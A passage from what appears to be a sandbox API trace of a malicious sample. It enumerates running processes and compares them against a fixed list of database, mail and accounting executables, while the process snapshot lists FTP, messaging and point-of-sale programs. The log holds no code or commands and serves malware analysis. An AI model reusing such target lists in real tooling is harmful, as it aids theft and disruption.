cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0104.040] lstrlenW (lpString="smartftp.exe") returned 12 [0104.040] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0104.043] lstrlenW (lpString="thunderbird.exe") returned 15 [0104.043] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0104.045] lstrlenW (lpString="totalcmd.exe") returned 12 [0104.045] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0104.049] lstrlenW (lpString="trillian.exe") returned 12 [0104.049] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0104.051] lstrlenW (lpString="webdrive.exe") returned 12 [0104.051] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0104.052] lstrlenW (lpString="whatsapp.exe") returned 12 [0104.053] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0104.054] lstrlenW (lpString="winscp.exe") returned 10 [0104.054] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0104.055] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0104.056] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0104.057] lstrlenW (lpString="active-charge.exe") returned 17 [0104.057] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0104.059] lstrlenW (lpString="accupos.exe") returned 11 [0104.059] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0104.060] lstrlenW (lpString="afr38.exe") returned 9 [0104.060] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0104.063] lstrlenW (lpString="aldelo.exe") returned 10 [0104.063] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0104.064] lstrlenW (lpString="ccv_server.exe") returned 14 [0104.064] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0104.067] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0104.067] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0104.068] lstrlenW (lpString="creditservice.exe") returned 17 [0104.068] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0104.069] lstrlenW (lpString="edcsvr.exe") returned 10 [0104.069] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0104.070] lstrlenW (lpString="fpos.exe") returned 8 [0104.071] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0104.072] lstrlenW (lpString="isspos.exe") returned 10 [0104.369] lstrcmpiW (lpString1="1c8.exe", lpString2="isspos.exe") returned -1 [0104.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="isspos.exe") returned -1 [0104.369] lstrcmpiW (lpString1="outlook.exe", lpString2="isspos.exe") returned 1 [0104.369] lstrcmpiW (lpString1="postgres.exe", lpString2="isspos.exe") returned 1 [0104.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="isspos.exe") returned 1 [0104.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="isspos.exe") returned 1 [0104.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="isspos.exe") returned 1 [0104.369] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0104.370] lstrlenW (lpString="mxslipstream.exe") returned 16 [0104.370] lstrcmpiW (lpString1="1c8.exe", lpString2="mxslipstream.exe") returned -1 [0104.370] lstrcmpiW (lpString1="1cv77.exe", lpString2="mxslipstream.exe") returned -1 [0104.370] lstrcmpiW (lpString1="outlook.exe", lpString2="mxslipstream.exe") returned 1 [0104.370] lstrcmpiW (lpString1="postgres.exe", lpString2="mxslipstream.exe") returned 1 [0104.370] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mxslipstream.exe") returned 1 [0104.370] lstrcmpiW (lpString1="mysqld.exe", lpString2="mxslipstream.exe") returned 1 [0104.370] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mxslipstream.exe") returned 1 [0104.370] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0104.371] lstrlenW (lpString="omnipos.exe") returned 11 [0104.371] lstrcmpiW (lpString1="1c8.exe", lpString2="omnipos.exe") returned -1 [0104.371] lstrcmpiW (lpString1="1cv77.exe", lpString2="omnipos.exe") returned -1 [0104.371] lstrcmpiW (lpString1="outlook.exe", lpString2="omnipos.exe") returned 1 [0104.371] lstrcmpiW (lpString1="postgres.exe", lpString2="omnipos.exe") returned 1 [0104.371] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="omnipos.exe") returned -1 [0104.371] lstrcmpiW (lpString1="mysqld.exe", lpString2="omnipos.exe") returned -1 [0104.371] lstrcmpiW (lpString1="sqlservr.exe", lpString2="omnipos.exe") returned 1 [0104.371] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0104.372] lstrlenW (lpString="spcwin.exe") returned 10 [0104.372] lstrcmpiW (lpString1="1c8.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="1cv77.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="outlook.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="postgres.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="mysqld.exe", lpString2="spcwin.exe") returned -1 [0104.372] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spcwin.exe") returned 1 [0104.372] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0104.373] lstrlenW (lpString="spgagentservice.exe") returned 19 [0104.373] lstrcmpiW (lpString1="1c8.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="1cv77.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="outlook.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="postgres.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="mysqld.exe", lpString2="spgagentservice.exe") returned -1 [0104.373] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spgagentservice.exe") returned 1 [0104.373] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0104.374] lstrlenW (lpString="utg2.exe") returned 8 [0104.374] lstrcmpiW (lpString1="1c8.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="1cv77.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="outlook.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="postgres.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="mysqld.exe", lpString2="utg2.exe") returned -1 [0104.374] lstrcmpiW (lpString1="sqlservr.exe", lpString2="utg2.exe") returned -1 [0104.374] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0104.375] lstrlenW (lpString="controlling.exe") returned 15 [0104.375] lstrcmpiW (lpString1="1c8.exe", lpString2="controlling.exe") returned -1 [0104.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="controlling.exe") returned -1 [0104.375] lstrcmpiW (lpString1="outlook.exe", lpString2="controlling.exe") returned 1 [0104.375] lstrcmpiW (lpString1="postgres.exe", lpString2="controlling.exe") returned 1 [0104.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="controlling.exe") returned 1 [0104.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="controlling.exe") returned 1 [0104.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="controlling.exe") returned 1 [0104.375] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0104.376] lstrlenW (lpString="assess climate.exe") returned 18 [0104.376] lstrcmpiW (lpString1="1c8.exe", lpString2="assess climate.exe") returned -1 [0104.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="assess climate.exe") returned -1 [0104.376] lstrcmpiW (lpString1="outlook.exe", lpString2="assess climate.exe") returned 1 [0104.376] lstrcmpiW (lpString1="postgres.exe", lpString2="assess climate.exe") returned 1 [0104.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="assess climate.exe") returned 1 [0104.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="assess climate.exe") returned 1 [0104.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="assess climate.exe") returned 1 [0104.376] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0104.377] lstrlenW (lpString="color_infection.exe") returned 19 [0104.377] lstrcmpiW (lpString1="1c8.exe", lpString2="color_infection.exe") returned -1 [0104.377] lstrcmpiW (lpString1="1cv77.exe", lpString2="color_infection.exe") returned -1 [0104.377] lstrcmpiW (lpString1="outlook.exe", lpString2="color_infection.exe") returned 1 [0104.377] lstrcmpiW (lpString1="postgres.exe", lpString2="color_infection.exe") returned 1 [0104.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="color_infection.exe") returned 1 [0104.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="color_infection.exe") returned 1 [0104.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="color_infection.exe") returned 1 [0104.377] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0104.378] lstrlenW (lpString="home.exe") returned 8 [0104.378] lstrcmpiW (lpString1="1c8.exe", lpString2="home.exe") returned -1 [0104.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="home.exe") returned -1 [0104.378] lstrcmpiW (lpString1="outlook.exe", lpString2="home.exe") returned 1 [0104.378] lstrcmpiW (lpString1="postgres.exe", lpString2="home.exe") returned 1 [0104.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="home.exe") returned 1 [0104.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="home.exe") returned 1 [0104.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="home.exe") returned 1 [0104.378] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0104.379] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0104.379] lstrcmpiW (lpString1="1c8.exe", lpString2="assignedeliminatemidi.exe") returned -1 [0104.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="assignedeliminatemidi.exe") returned -1 [0104.379] lstrcmpiW (lpString1="outlook.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0104.379] lstrcmpiW (lpString1="postgres.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0104.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0104.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0104.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0104.379] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.379] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0104.379] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0104.380] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.381] lstrlenW (lpString="svchost.exe") returned 11 [0104.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0104.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0104.381] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.381] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.381] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0104.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0104.382] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0104.382] lstrlenW (lpString="UsoClient.exe") returned 13 [0104.382] lstrcmpiW (lpString1="1c8.exe", lpString2="UsoClient.exe") returned -1 [0104.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="UsoClient.exe") returned -1 [0104.383] lstrcmpiW (lpString1="outlook.exe", lpString2="UsoClient.exe") returned -1 [0104.383] lstrcmpiW (lpString1="postgres.exe", lpString2="UsoClient.exe") returned -1 [0104.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UsoClient.exe") returned -1 [0104.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="UsoClient.exe") returned -1 [0104.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UsoClient.exe") returned -1 [0104.383] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.383] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.383] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0104.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0104.383] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0104.384] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0104.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0104.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0104.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0104.384] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0104.384] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0104.384] lstrcmpiW (lpString1="1c8.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="outlook.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="postgres.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UNPCampaignManager.exe") returned -1 [0104.384] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0104.385] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0104.385] lstrcmpiW (lpString1="1c8.exe", lpString2="DeviceCensus.exe") returned -1 [0104.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="DeviceCensus.exe") returned -1 [0104.385] lstrcmpiW (lpString1="outlook.exe", lpString2="DeviceCensus.exe") returned 1 [0104.385] lstrcmpiW (lpString1="postgres.exe", lpString2="DeviceCensus.exe") returned 1 [0104.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="DeviceCensus.exe") returned 1 [0104.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="DeviceCensus.exe") returned 1 [0104.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="DeviceCensus.exe") returned 1 [0104.385] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0104.386] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0104.386] lstrcmpiW (lpString1="1c8.exe", lpString2="AppHostRegistrationVerifier.exe") returned -1 [0104.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="AppHostRegistrationVerifier.exe") returned -1 [0104.386] lstrcmpiW (lpString1="outlook.exe", lpString2="AppHostRegistrationVerifier.exe") returned 1 [0104.386] lstrcmpiW (lpString1="postgres.exe", lpString2="AppHostRegistrationVerifier.exe") returned 1 [0104.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="AppHostRegistrationVerifier.exe") returned 1 [0104.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="AppHostRegistrationVerifier.exe") returned 1 [0104.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="AppHostRegistrationVerifier.exe") returned 1 [0104.386] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.387] lstrlenW (lpString="conhost.exe") returned 11 [0104.387] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0104.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0104.387] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0104.387] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0104.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0104.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0104.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0104.387] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.388] lstrlenW (lpString="conhost.exe") returned 11 [0104.388] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0104.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0104.388] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0104.388] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0104.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0104.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0104.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0104.388] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, 